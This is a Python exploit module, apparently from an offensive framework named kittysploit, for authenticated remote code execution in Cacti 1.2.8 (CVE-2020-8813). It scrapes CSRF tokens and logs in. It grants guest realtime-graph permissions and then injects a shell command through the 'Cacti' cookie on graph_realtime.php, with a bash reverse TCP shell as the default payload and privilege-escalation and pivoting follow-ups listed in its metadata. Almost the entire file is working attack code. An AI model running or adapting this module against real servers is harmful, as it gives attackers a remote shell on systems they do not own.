Cacti v1.2.8 auth RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from bs4 import BeautifulSoup

class Module(Exploit, Http_client, Http_login):
	

	__info__ = {
		'name': "Cacti v1.2.8 auth RCE",
		'description': "Cacti v1.2.8 authenticated Remote Code Execution",
		'cve': '2020-8813',
		'payload': {
			'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
			'arch':'cmd',
			'platform': Platform.UNIX,
			'encoder': 'encoders/cmd/ifs',
			'category': 'singles'
			},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
		                               {'capability': 'shell', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
		                             'post/shell/multi/manage/pivot_autoroute']},
		},
		}	

	def login(self, token):
		login_info = {
		"login_username": self.username,
		"login_password": self.password,
		"action": "login",
		"__csrf_magic": token
		}
		login_request = self.http_request(
							method = 'POST',
							path = '/index.php',
							data = login_info,
							session = True
							)
		login_text = login_request.text
		if "Invalid User Name/Password Please Retype" in login_text:
			self.login_failed()
			return False
		else:
			self.login_success()
			return True		

	def enable_guest(self,token):
		request_info = {
		"id": "3",
		"section25": "on",
		"section7": "on",
		"tab": "realms",
		"save_component_realm_perms": 1,
		"action": "save",
		"__csrf_magic": token
		}
		enable_request = self.http_request(
								method = 'POST',
								path = '/user_admin.php?header=false',
								data = request_info,
								session = True
								)
		if enable_request:
			return True
		else:
			return False
		
	def run(self):
		
		print_status("Retrieving login CSRF token")
		page = self.http_request(
					method = 'GET',
					path = '/index.php',
					session = True
					)
		html_content = page.text
		soup = BeautifulSoup(html_content, "html5lib")
		token = soup.findAll('input')[0].get("value")
		if token:
			print_success("Token Found : %s" % token)
			print_status("Sending creds ..")
			login_status = self.login(token)
			if login_status:
				print_success("Successfully LoggedIn")
				print_success("Retrieving CSRF token ..")
				page = self.http_request(
							method = "GET",
							path = "/user_admin.php?action=user_edit&id=3&tab=realms",
							session = True
							)
				html_content = page.text
				soup = BeautifulSoup(html_content, "html5lib")
				token = soup.findAll('input')[1].get("value")
				if token:
					print_status("Making some noise ..")
					guest_realtime = self.enable_guest(token)
					if guest_realtime:
						print_success("Sending malicous request")
						cookies = {'Cacti': self.url_encode(";"+self.payload)}
						pwn = self.http_request(
								method = "GET",
								path = "/graph_realtime.php?action=init",
								cookies = cookies
								)
					else:
						print_error("Error while activating the malicous account")									
		else:
			print_error("Unable to retrieve CSRF token!")